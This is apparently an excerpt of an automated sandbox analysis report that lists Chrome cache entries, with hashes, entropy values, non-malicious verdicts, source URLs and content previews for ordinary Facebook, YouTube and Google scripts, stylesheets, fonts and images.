Malicious:	false
Reputation:	unknown
URL:	https://static.xx.fbcdn.net/rsrc.php/v3/yr/r/bHmuPlLj85H.js?_nc_x=Ij3Wp8lg5Kz
Preview:	;/FB_PKG_DELIM/..__d("Keys",[],(function(a,b,c,d,e,f){"use strict";a=Object.freeze({BACKSPACE:8,TAB:9,RETURN:13,SHIFT:16,CTRL:17,ALT:18,PAUSE_BREAK:19,CAPS_LOCK:20,ESC:27,SPACE:32,PAGE_UP:33,PAGE_DOWN:34,END:35,HOME:36,LEFT:37,UP:38,RIGHT:39,DOWN:40,INSERT:45,DELETE:46,ZERO:48,ONE:49,TWO:50,THREE:51,FOUR:52,FIVE:53,SIX:54,SEVEN:55,EIGHT:56,NINE:57,A:65,B:66,C:67,D:68,E:69,F:70,G:71,H:72,I:73,J:74,K:75,L:76,M:77,N:78,O:79,P:80,Q:81,R:82,S:83,T:84,U:85,V:86,W:87,X:88,Y:89,Z:90,LEFT_WINDOW_KEY:91,RIGHT_WINDOW_KEY:92,SELECT_KEY:93,NUMPAD_0:96,NUMPAD_1:97,NUMPAD_2:98,NUMPAD_3:99,NUMPAD_4:100,NUMPAD_5:101,NUMPAD_6:102,NUMPAD_7:103,NUMPAD_8:104,NUMPAD_9:105,MULTIPLY:106,ADD:107,SUBTRACT:109,DECIMAL_POINT:110,DIVIDE:111,F1:112,F2:113,F3:114,F4:115,F5:116,F6:117,F7:118,F8:119,F9:120,F10:121,F11:122,F12:123,NUM_LOCK:144,SCROLL_LOCK:145,SEMI_COLON:186,EQUAL_SIGN:187,COMMA:188,DASH:189,PERIOD:190,FORWARD_SLASH:191,GRAVE_ACCENT:192,OPEN_BRACKET:219,BACK_SLASH:220,CLOSE_BRAKET:221,SINGLE_QUOTE:222

Chrome Cache Entry: 981

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1555
Entropy (8bit):	7.107402048079722
Encrypted:	false
SSDEEP:	24:T1hfvWwjx82lY2T3iV7vyJ3VzBYGsBq/qnmnTWApAvgBFBDd4WhjDFWyJZm:ZANn2esJ37Yf583eohTlJZm
MD5:	12430F012C4B6B4A91C63CBF1369E1FF
SHA1:	A8502ADE0C47E23230E5DA9D5658EC1F1DA309D6
SHA-256:	079919E3400BA9BC0D569F5634CC41B2FD1B8E7A721B2B473D21F10FE2FA7F6B
SHA-512:	17B7564088E12CD64AE79E7179EF4B26941370DC442528CB08320FC0D40BEC88D2B77124624685ACF9BA974467E27A7051703761C6FFFE5468C90217CAC5A4A6
Malicious:	false
Reputation:	unknown
URL:	https://www.youtube.com/s/desktop/80338919/img/favicon_32x32.png
Preview:	.PNG........IHDR... ... .....szz.....tEXtSoftware.Adobe ImageReadyq.e<...(iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2017 (Macintosh)" xmpMM:InstanceID="xmp.iid:33B346918F4C11E7946BAB1AFF99627F" xmpMM:DocumentID="xmp.did:33B346928F4C11E7946BAB1AFF99627F"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:13441FC48F4C11E7946BAB1AFF99627F" stRef:documentID="xmp.did:33B346908F4C11E7946BAB1AFF99627F"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..6.....IDATx..MO.q.....X.B=./H..D...F...^8A........\|....^...F...!..H...!.I.`Q.-.8........d.......<..'"....l

Chrome Cache Entry: 982

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1631)
Category:	downloaded
Size (bytes):	38524
Entropy (8bit):	5.380933182606575
Encrypted:	false
SSDEEP:	768:sI3zD+5oBVldt7oUMzTfWQU2I3jY6AUWvoo+xJR3Y7TVOJRCLdInzVQy3ke:LVlTUWEI3zWvoo+xJNY7hOhpQK
MD5:	7609CFFA24A53E65D4B74577DE272F4B
SHA1:	59543F04A0DCA6B1056D174AC44B821CE4FD6BB3
SHA-256:	2CE110DF6BA65C666F65D2090D9FC8A343811389AA458B4E76BA7C7C309E4D37
SHA-512:	B66B19DDE83E01D88FE76185D42EF4E7BBB5BDD92D1FF89E1B9420239288978A38CBB29263969867B7B0F075287D04DEB8F43E52B19AAE957FC6AA6B9BA0EC72
Malicious:	false
Reputation:	unknown
URL:	"https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.nOJ7WSKZu4M.es5.O/ck=boq-identity.AccountsSignInUi.7fQcyxKRGI4.L.B1.O/am=P8BCUo4FQIyZ5Zy_Z5wcBgAAAAAAAAAAWAPYAQ/d=1/exm=_b,_tp/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlEotM5KnP6eq1I-j0IjUz5JAQCU0Q/ee=ASJRFf:LANRae;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:BDnJmb;EmZ2Bf:zr1jrb;Erl4fe:FloWmf;JsbNhc:Xd8iUd;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Oj465e:KG2eXe;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;UpnZUd:nnwwYc;XdiAjb:NLiXbe;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;eBAeSb:zbML3c;iFQyKf:vfuNJf;io8t5d:yDVVkb;kMFpHd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:fqEYIb;qddgKe:xQtZb;sP4Vbe:VwDzFe;uY49fb:COQbmf;ul9GGd:VDovNc;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=byfTOb,lsjVmc,LEikZe"
Preview:	"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{._.ona=function(a){var b=0,c;for(c in a)b++;return b};_.pna=function(a){return a.Vg&&"function"==typeof a.Vg?a.Vg():_.ma(a)\|\|"string"===typeof a?a.length:_.ona(a)};_.Vo=function(a){if(a.Mg&&"function"==typeof a.Mg)return a.Mg();if("undefined"!==typeof Map&&a instanceof Map\|\|"undefined"!==typeof Set&&a instanceof Set)return Array.from(a.values());if("string"===typeof a)return a.split("");if(_.ma(a)){for(var b=[],c=a.length,d=0;d<c;d++)b.push(a[d]);return b}return _.xb(a)};._.qna=function(a){if(a.Lg&&"function"==typeof a.Lg)return a.Lg();if(!a.Mg\|\|"function"!=typeof a.Mg){if("undefined"!==typeof Map&&a instanceof Map)return Array.from(a.keys());if(!("undefined"!==typeof Set&&a instanceof Set)){if(_.ma(a)\|\|"string"===typeof a){var b=[];a=a.length;for(var c=0;c<a;c++)b.push(c);return b}return _.yb(a)}}};.var rna,una,tna,sna,kp,mp,Gna,xna,zna,yna,Cna,Ana;rna=function(a,b,c){if(b)re

Chrome Cache Entry: 983

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1603)
Category:	downloaded
Size (bytes):	1622
Entropy (8bit):	5.379468157436921
Encrypted:	false
SSDEEP:	24:kKcn2yCZTTIfFOJoCj/uRVi91Ghr9IOb04J2QqDhDKBHx/we3JJyGgOuGUBqK:kclIfQJoCj/f/GHS6Cdy/HHyGIHZ
MD5:	B4C7A00E3ECAABBC8C9B06B3F43C8DF2
SHA1:	384878E16D859F5C9AAFE984A7807FCA1D2A34C7
SHA-256:	2E4BE2AAD34CCE455FC007FBD7BE603FB27A8E6B756F5841327CAD667667F83B
SHA-512:	C3202939D38AA54BEB498C6F6AFF8A0903548E475646FA19E24CFCEFE6F022B219753EDCF14DA714DCBF53B4201116B7ECE4BFE30520EF91D244A79334C94017
Malicious:	false
Reputation:	unknown
URL:	https://static.xx.fbcdn.net/rsrc.php/v3/yC/r/M08arqdo_nN.js?_nc_x=Ij3Wp8lg5Kz
Preview:	;/FB_PKG_DELIM/..__d("queryThenMutateDOM",["ErrorUtils","Run","TimeSlice","emptyFunction","gkx","requestAnimationFrame"],(function(a,b,c,d,e,f){var g,h,i,j=[],k={};function l(a,c,d){if(!a&&!c)return{cancel:b("emptyFunction")};if(d&&Object.prototype.hasOwnProperty.call(k,d))return{cancel:b("emptyFunction")};else d&&(k[d]=1);c=b("TimeSlice").guard(c\|\|b("emptyFunction"),"queryThenMutateDOM mutation callback",{propagationType:b("TimeSlice").PropagationType.CONTINUATION,registerCallStack:!0});a=b("TimeSlice").guard(a\|\|b("emptyFunction"),"queryThenMutateDOM query callback",{propagationType:b("TimeSlice").PropagationType.CONTINUATION,registerCallStack:!0});var e={queryFunction:a,mutateFunction:c,output:null,deleted:!1};j.push(e);n();h\|\|(h=!0,b("gkx")("708253")\|\|b("Run").onLeave(function(){h=!1,i=!1,k={},j.length=0}));return{cancel:function(){e.deleted=!0,d&&delete k[d]}}}l.prepare=function(a,b,c){return function(){for(var d=arguments.length,e=new Array(d),f=0;f<d;f++)e[f]=arguments[f];e.uns

Chrome Cache Entry: 984

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15860, version 1.0
Category:	downloaded
Size (bytes):	15860
Entropy (8bit):	7.988022700476719
Encrypted:	false
SSDEEP:	384:S7qmPTF4N21t//YW2FS6+1XxrsbGmjlAbvqMmtCN:S621tHY4xwbGmjloSM7N
MD5:	E9F5AAF547F165386CD313B995DDDD8E
SHA1:	ACDEF5603C2387B0E5BFFD744B679A24A8BC1968
SHA-256:	F5AEBDFEA35D1E7656EF4ACC5DB1F243209755AE3300943EF8FC6280F363C860
SHA-512:	2A71EDB5490F286642A874D52A1969F54282BC43CB24E8D5A297E13B320321FB7B7AF5524EAC609CF5F95EE08D5E4EC5803E2A3C8D13C09F6CC38713C665D0CE
Malicious:	false
Reputation:	unknown
URL:	https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfBBc4.woff2
Preview:	wOF2......=...........=..........................d.....^.`.. .H..<........8........6.$.... ..~. ..)..~E......6..J..`.. :.....8.;..5......!.l.j.%SX.SDm...RXh...&.X......5..._...............@...8...Gi..g.;9..'.Q......1..5.U.....w.+.hn..........c.....5.#{..%.#.JP..i.J..U(.6.D5V.<"Ex6"...k..[..{.?.d2....{.........W.......S...hT,.l..'.9.;[@..._.L..\|+...)......S...9F......T..t...-=X.:FtZ..uZ.[.?..f<.....@.....'...I...e..........8.?..-R.3,%X...I2\|.Wk{i...V2C....H$.H.LH.{.........(...6U..%W[t.R....j.........iS..%..L....rf.=..7..9i.I...1.Mj..C..u.B.........vJ.....+.u$.=..3..T..R.._.gs...6).$.-.PUH..Hl....WDd.......fK.(B.F1>..5.._[..]}VA#X...c.....%.(s50...m...^...1...'.$U*H.t...H...s.AZu...'...8.p...@.@.....q..Y.#.....#.....G.....G@..o8. A........:.........S.:..N.S.j.....tav.}.9h..s.....he.......{,~k...,eK.z}.......5%G...l.uCK.....V..............m.....U}.Sz..Z.c.{.....:..g......>h..'\|Z........a....^.b...o.>...g........f../w'....Ja.o(

Chrome Cache Entry: 985

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15920, version 1.0
Category:	downloaded
Size (bytes):	15920
Entropy (8bit):	7.987786667472439
Encrypted:	false
SSDEEP:	384:sShqOXQlaSchOwK0uFvRqq3xR/xb5OY3aU/lHS9WE2YeK1os:sShJKaScJK0uFvRvxb5OY3aU/lHkmK
MD5:	3A44E06EB954B96AA043227F3534189D
SHA1:	23CEF6993DDB2B2979E8E7647FC3763694E2BA7D
SHA-256:	B019538234514166EC7665359D097403358F8A4C991901983922FB4D56989F1E
SHA-512:	FAB970B250DD88064730BD2603C530F3503ABB0AF4E4095786877F9660A159BF4AD98C5ABEA2E95EB39AE8C13417736B5772FCB9F87941FF5E0F383CB172997F
Malicious:	false
Reputation:	unknown
URL:	https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fBBc4.woff2
Preview:	wOF2......>0.......T..=..........................d.....^.`.. .\..<.................6.$.... .... ..S.!.%c.......\|y...6..;.s#.....x_<..o..........l...J.`p.m..6...h....U.pD...R.J.$...W..`7w...[..qD....<P......J.x.+J-^....va...:.KW..Ph...."....{.W4C....p..1..........CH.....P.............Q%.=.F.....1.%J....d..X..J.<AU..b.N...<l...d...f..^Y..]..&...VQ.<.....F..{.....&{.+J;.... .2P.:.5..?.o.\|....V[t..M..#..d.fv...........4..`.).h..h......@u........4......~.....r.B...p1.P.T..<....r....Y..8...GQ1.t.....%..-Wh..:W.....1l-...@..hL}...lN.._.j...D`..sn.=(...W..?.Z..p.52..H...X...)..CJ...V..7.....<\|..i...{...R.M+[..\|..x-..M3...~!\.l6}.T.o.R'$.)..-.W.T....A...5?.{.2.bR.../....*l..;...{..I>.n..MJ.2........U&. ..(L]].%P.$..p59.LD.f.........V.....z.5~.2\......#.4....9_....%wp.OU.0.....CK..../.x. ..A2e...@...(.i..f./.....`1.......!......@....0 vbt.e v./!...N=>:..A...(...f....?.....iH.F..!k.6.O6S..54.^c..2.G.?6....)b......lv.,h....Y.}.?..uk....L.4d.g..6.\.1u..

Chrome Cache Entry: 986

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1631)
Category:	downloaded
Size (bytes):	38524
Entropy (8bit):	5.380933182606575
Encrypted:	false
SSDEEP:	768:sI3zD+5oBVldt7oUMzTfWQU2I3jY6AUWvoo+xJR3Y7TVOJRCLdInzVQy3ke:LVlTUWEI3zWvoo+xJNY7hOhpQK
MD5:	7609CFFA24A53E65D4B74577DE272F4B
SHA1:	59543F04A0DCA6B1056D174AC44B821CE4FD6BB3
SHA-256:	2CE110DF6BA65C666F65D2090D9FC8A343811389AA458B4E76BA7C7C309E4D37
SHA-512:	B66B19DDE83E01D88FE76185D42EF4E7BBB5BDD92D1FF89E1B9420239288978A38CBB29263969867B7B0F075287D04DEB8F43E52B19AAE957FC6AA6B9BA0EC72
Malicious:	false
Reputation:	unknown
URL:	"https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.nOJ7WSKZu4M.es5.O/ck=boq-identity.AccountsSignInUi.7fQcyxKRGI4.L.B1.O/am=P8BCEo4FQIyZ5Zy_Z5wcBgAAAAAAAAAAWAPYAQ/d=1/exm=_b,_tp/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlESPRnh-JZZP_yCycaEkysrUryWfw/ee=ASJRFf:LANRae;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:BDnJmb;EmZ2Bf:zr1jrb;Erl4fe:FloWmf;JsbNhc:Xd8iUd;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Oj465e:KG2eXe;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;UpnZUd:nnwwYc;XdiAjb:NLiXbe;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;eBAeSb:zbML3c;iFQyKf:vfuNJf;io8t5d:yDVVkb;kMFpHd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:fqEYIb;qddgKe:xQtZb;sP4Vbe:VwDzFe;uY49fb:COQbmf;ul9GGd:VDovNc;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=byfTOb,lsjVmc,LEikZe"
Preview:	"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{._.ona=function(a){var b=0,c;for(c in a)b++;return b};_.pna=function(a){return a.Vg&&"function"==typeof a.Vg?a.Vg():_.ma(a)\|\|"string"===typeof a?a.length:_.ona(a)};_.Vo=function(a){if(a.Mg&&"function"==typeof a.Mg)return a.Mg();if("undefined"!==typeof Map&&a instanceof Map\|\|"undefined"!==typeof Set&&a instanceof Set)return Array.from(a.values());if("string"===typeof a)return a.split("");if(_.ma(a)){for(var b=[],c=a.length,d=0;d<c;d++)b.push(a[d]);return b}return _.xb(a)};._.qna=function(a){if(a.Lg&&"function"==typeof a.Lg)return a.Lg();if(!a.Mg\|\|"function"!=typeof a.Mg){if("undefined"!==typeof Map&&a instanceof Map)return Array.from(a.keys());if(!("undefined"!==typeof Set&&a instanceof Set)){if(_.ma(a)\|\|"string"===typeof a){var b=[];a=a.length;for(var c=0;c<a;c++)b.push(c);return b}return _.yb(a)}}};.var rna,una,tna,sna,kp,mp,Gna,xna,zna,yna,Cna,Ana;rna=function(a,b,c){if(b)re

Chrome Cache Entry: 987

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (12891), with no line terminators
Category:	downloaded
Size (bytes):	12891
Entropy (8bit):	5.129903749748971
Encrypted:	false
SSDEEP:	192:QWf2m8D/D4/uHiKQZ24/ueb4/uH+ZmWuCHWunyWumF129emoaaFN7SCmyGuR8aRm:EZ1faaFNx9ub
MD5:	11A5F7355B7CF5BF23607D1C9C867DBD
SHA1:	5F61F57E61F10FF8B1097A4911F190AF8A0A9DC9
SHA-256:	3AFA03D3D72A4A45B12A9A62EFA42813D28C070941228BA09A2082E0032089A6
SHA-512:	FE2F75C8CC55CBB55362BD48B3F71F136614945A265BC877B7DFA698F1BEE2AD5AFA980BF50AB5C92519399E406964217E66EFFC4B3420160E6C849ACAA7EFB7
Malicious:	false
Reputation:	unknown
URL:	https://www.youtube.com/s/desktop/80338919/cssbin/www-main-desktop-watch-page-skeleton.css
Preview:	:root{--blob-a-x:55%;--blob-a-y:15%;--blob-b-x:101%;--blob-b-y:3%;--blob-c-x:94%;--blob-c-y:113%;--blob-d-x:10%;--blob-d-y:70%;--blob-e-x:0%;--blob-e-y:0%}@property --blob-a-x{syntax:"<percentage>";inherits:false;initial-value:55%}@property --blob-a-y{syntax:"<percentage>";inherits:false;initial-value:15%}@property --blob-b-x{syntax:"<percentage>";inherits:false;initial-value:101%}@property --blob-b-y{syntax:"<percentage>";inherits:false;initial-value:3%}@property --blob-c-x{syntax:"<percentage>";inherits:false;initial-value:94%}@property --blob-c-y{syntax:"<percentage>";inherits:false;initial-value:113%}@property --blob-d-x{syntax:"<percentage>";inherits:false;initial-value:10%}@property --blob-d-y{syntax:"<percentage>";inherits:false;initial-value:70%}@property --blob-e-x{syntax:"<percentage>";inherits:false;initial-value:10%}@property --blob-e-y{syntax:"<percentage>";inherits:false;initial-value:10%}html[ghost-cards-diffuse-1] .skeleton-bg-color{background:radial-gradient(ellipse 10

Chrome Cache Entry: 988

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	285
Entropy (8bit):	5.20381739107802
Encrypted:	false
SSDEEP:	6:ljyWyEc4yCH5GM2+01ghoGbUuRM3m1wh8/bcOQqJOSxsfQwCYklT:zXyC1xoGb1REgOS+fcT
MD5:	0E7047DEDA25A97B313D0FD4FC504C30
SHA1:	9B8AB7761CB2734EDEB49462BA8AFB9451F7F282
SHA-256:	20CB0F9E65748C0EEA506D93543C19D83F27203ED58FA30B1BCA72C6E23F1DCF
SHA-512:	8F9F6283E4285830641435434B5F32DEA5DBA94498BC0A193F1E3623C870D4EEF69338A71A460AB9256CABEF9779A0F58069C86CAA5DBA0BC3939C4C84294C97
Malicious:	false
Reputation:	unknown
URL:	https://static.xx.fbcdn.net/rsrc.php/v3/yF/r/PtmfxLVwAb7.js?_nc_x=Ij3Wp8lg5Kz
Preview:	;/FB_PKG_DELIM/..__d("getContextualParent",["ge"],(function(a,b,c,d,e,f,g){function a(a,b){b===void 0&&(b=!1);var d=!1;a=a;do{if(a instanceof Element){var e=a.getAttribute("data-ownerid");if(e){a=c("ge")(e);d=!0;continue}}a=a.parentNode}while(b&&a&&!d);return a}g["default"]=a}),98);

Chrome Cache Entry: 989

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	52
Entropy (8bit):	4.542000661265563
Encrypted:	false
SSDEEP:	3:yVkxzNDrMKcwVbF7KnZ:yVkxtkwVbF7KZ
MD5:	B3B89B9C275343BC6798E3A83564FDDB
SHA1:	32367475C527C3F5E5DB0BF42C348816FF4D157B
SHA-256:	900FB968F7FD9EA55F600AC9002A89E56AB56597DA7BDE04DEAAE6CC77AEB276
SHA-512:	ADB6938104E802B0936630B216CDE732F21ECA6E60E7A31D1B9C8FF52B5A66A712A7ECDE3F8ED4915D15C0A71C33A9788060E1E22999094C39020A1F8C636874
Malicious:	false
Reputation:	unknown
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSHgmA6QC9dWevzxIFDRkBE_oSBQ3oIX6GEgUN05ioBw==?alt=proto
Preview:	CiUKDQ0ZARP6GgQIVhgCIAEKCw3oIX6GGgQISxgCCgcN05ioBxoA

Chrome Cache Entry: 990

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	C source, ASCII text, with very long lines (438)
Category:	downloaded
Size (bytes):	1047
Entropy (8bit):	5.370947681400899
Encrypted:	false
SSDEEP:	24:cyCHCL+sUh4zPEI9EWpcXPCwKc0lWrWOfhOrCglWrWOfhO8:YHTs34IWp6+3zf3r
MD5:	787BC054ADACE94E0BACCFE0525D84C1
SHA1:	D64A069FE8E62E7FEBEEB78F21AF5D45CFBC995E
SHA-256:	873EDBB1E4FEE287F44F1565D4C9DF82B727D59A398092E3D278D14DA203A372
SHA-512:	B1E3F8C36E178E6C788BD4F9319A041A430C332163B22E5A1D118AD3D8689A27A13F0FC98BAA27C25EECBF31F442C7B384CB830B899699F0CE849187FD88E0D9
Malicious:	false
Reputation:	unknown
URL:	https://static.xx.fbcdn.net/rsrc.php/v3/yx/r/GIlJjyzEguQ.js?_nc_x=Ij3Wp8lg5Kz
Preview:	;/FB_PKG_DELIM/..__d("Deferred",["Promise"],(function(a,b,c,d,e,f){"use strict";var g;(g\|\|(g=b("Promise"))).resolve();a=function(){function a(a){var c=this;a=a\|\|g\|\|(g=b("Promise"));this.$1=!1;this.$2=new a(function(a,b){c.$3=a,c.$4=b})}var c=a.prototype;c.getPromise=function(){return this.$2};c.resolve=function(a){this.$1=!0,this.$3(a)};c.reject=function(a){this.$1=!0,this.$4(a)};c.isSettled=function(){return this.$1};return a}();f["default"]=a}),66);.__d("isHorizonDotMetaDotComURI",[],(function(a,b,c,d,e,f){var g=new RegExp("(^\|\\.)horizon\\.meta\\.com$","i"),h=["https"];function a(a){if(a.isEmpty()&&a.toString()!=="#")return!1;return!a.getDomain()&&!a.getProtocol()?!1:h.indexOf(a.getProtocol())!==-1&&g.test(a.getDomain())}f["default"]=a}),66);.__d("isWorkroomsDotComURI",[],(function(a,b,c,d,e,f){var g=new RegExp("(^\|\\.)workrooms\\.com$","i"),h=["https"];function a(a){if(a.isEmpty()&&a.toString()!=="#")return!1;return!a.getDomain()&&!a.getProtocol()?!1:h.indexOf(a.getProtocol())!==

Chrome Cache Entry: 991

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	C source, ASCII text, with very long lines (8621)
Category:	downloaded
Size (bytes):	15495
Entropy (8bit):	5.318871144455677
Encrypted:	false
SSDEEP:	384:QIim0sKymy8W2Cu20u6ZgMiWWIRBz/qUBCuvw4Im+gSU8qH:QIim0sKymy8W2Cu20u6SMiNckECuvw4N
MD5:	B05893251BC2DAD671E9B2EE422E62E3
SHA1:	37DDE51EE6B9C395D1B691A7B5229CBDD7D56A37
SHA-256:	3AD9956095340BB1C1689EB7F5868FEB2E18D5C5C155FB3349F188C2CEEA7AE4
SHA-512:	BB2BEE58DDAE3A69EA1A34B3E459016DD699034BA6F7FE1FAD9597FCE4CAC3AA38FA9E1BBFB2A6D6E3E0FA373D846C9665225E4F4EE85BE4A6E7D5EB6D741EFA
Malicious:	false
Reputation:	unknown
URL:	https://static.xx.fbcdn.net/rsrc.php/v3/yz/r/lFK_RCKM9IT.js?_nc_x=Ij3Wp8lg5Kz
Preview:	;/FB_PKG_DELIM/..__d("XControllerURIBuilder",["invariant","URI","gkx","isInternalFBURI"],(function(a,b,c,d,e,f,g,h){var i;a=function(){function a(a,b){this.$1={},this.$2=a,this.$3=b}var b=a.prototype;b.setInt=function(a,b){return this.__setParam(a,"Int",b)};b.setFBID=function(a,b){return this.__setParam(a,"FBID",b)};b.setFloat=function(a,b){return this.__setParam(a,"Float",b)};b.setString=function(a,b){return this.__setParam(a,"String",b)};b.setExists=function(a,b){b===!1&&(b=void 0);return this.__setParam(a,"Exists",b)};b.setBool=function(a,b){return this.__setParam(a,"Bool",b)};b.setBoolVector=function(a,b){return this.__setParam(a,"BoolVector",b)};b.setEnum=function(a,b){return this.__setParam(a,"Enum",b)};b.setPath=function(a,b){return this.__setParam(a,"Path",b)};b.setIntVector=function(a,b){return this.__setParam(a,"IntVector",b)};b.setIntKeyset=function(a,b){return this.__setParam(a,"IntKeyset",b)};b.setIntSet=function(a,b){return this.__setParam(a,"IntSet",b.join(","))};b.set

Chrome Cache Entry: 992

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (11999), with no line terminators
Category:	downloaded
Size (bytes):	11999
Entropy (8bit):	5.120751194066745
Encrypted:	false
SSDEEP:	192:QWf2m8D/D4/uHiKQZ24/ueb4/uH+ZmWuCHWunyWumF129emoaaFN7SCmyGuR8aRi:EZ1faaFNx9uzSdfK/
MD5:	4A3F40FCC27B5F1BF6E7940FC966B7E5
SHA1:	16F0DF35A749F9EC555023B0C013EC4E254D7D54
SHA-256:	C4517100B7BDAC0B186DFF20D44A6A6FD02E1A5A6DCC413D8B4B9298B0E294A5
SHA-512:	58E8D9D62783898342CFD3A6A0EFD73590357651C8A131AB900C199FB9E1BAB38B92977AB957F3085DBF818DDC5A5EEA25BFAA684478EDF5973BF482FD650C6E
Malicious:	false
Reputation:	unknown
URL:	https://www.youtube.com/s/desktop/80338919/cssbin/www-main-desktop-home-page-skeleton.css
Preview:	:root{--blob-a-x:55%;--blob-a-y:15%;--blob-b-x:101%;--blob-b-y:3%;--blob-c-x:94%;--blob-c-y:113%;--blob-d-x:10%;--blob-d-y:70%;--blob-e-x:0%;--blob-e-y:0%}@property --blob-a-x{syntax:"<percentage>";inherits:false;initial-value:55%}@property --blob-a-y{syntax:"<percentage>";inherits:false;initial-value:15%}@property --blob-b-x{syntax:"<percentage>";inherits:false;initial-value:101%}@property --blob-b-y{syntax:"<percentage>";inherits:false;initial-value:3%}@property --blob-c-x{syntax:"<percentage>";inherits:false;initial-value:94%}@property --blob-c-y{syntax:"<percentage>";inherits:false;initial-value:113%}@property --blob-d-x{syntax:"<percentage>";inherits:false;initial-value:10%}@property --blob-d-y{syntax:"<percentage>";inherits:false;initial-value:70%}@property --blob-e-x{syntax:"<percentage>";inherits:false;initial-value:10%}@property --blob-e-y{syntax:"<percentage>";inherits:false;initial-value:10%}html[ghost-cards-diffuse-1] .skeleton-bg-color{background:radial-gradient(ellipse 10

Chrome Cache Entry: 993

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1984)
Category:	downloaded
Size (bytes):	6499
Entropy (8bit):	5.238081596406851
Encrypted:	false
SSDEEP:	96:7AbG7AKxAoAmAkAJkAuBeRALxAHD41Y06E7ocnWra2vsmovSDWiFkUmwqNMJjK+/:MbGMN3db5CeSLxxS5mwgWcaq1Gi72
MD5:	F06AC7F88877ED1909CD7CC11374A88D
SHA1:	ADE237B9EF2A2646BDE5F74BE417C78580CA9ABF
SHA-256:	960D9FFF6E8E52CB5BA8F230904D99623B0B92B36F2ABB37629DAB1FD14D3706
SHA-512:	F82D1401C415605E804507F297192D98DA697CB8526585AE9554553653E35C846A3539AB31E37A93E98ECFB469862A96563D859697698C3BB50DC6F6F4E616D5
Malicious:	false
Reputation:	unknown
URL:	https://static.xx.fbcdn.net/rsrc.php/v3/yK/r/Lzd-U--zeLf.js?_nc_x=Ij3Wp8lg5Kz
Preview:	;/FB_PKG_DELIM/..__d("EventEmitterWithValidation",["BaseEventEmitter"],(function(a,b,c,d,e,f){"use strict";a=function(a){babelHelpers.inheritsLoose(b,a);function b(b,c){var d;d=a.call(this)\|\|this;d.$EventEmitterWithValidation1=Object.keys(b);d.$EventEmitterWithValidation2=Boolean(c);return d}var c=b.prototype;c.emit=function(b){if(this.$EventEmitterWithValidation1.indexOf(b)===-1){if(this.$EventEmitterWithValidation2)return;throw new TypeError(g(b,this.$EventEmitterWithValidation1))}return a.prototype.emit.apply(this,arguments)};return b}(b("BaseEventEmitter"));function g(a,b){a='Unknown event type "'+a+'". ';a+="Known event types: "+b.join(", ")+".";return a}e.exports=a}),null);.__d("mixInEventEmitter",["invariant","EventEmitterWithHolding","EventEmitterWithValidation","EventHolder"],(function(a,b,c,d,e,f,g,h){"use strict";function 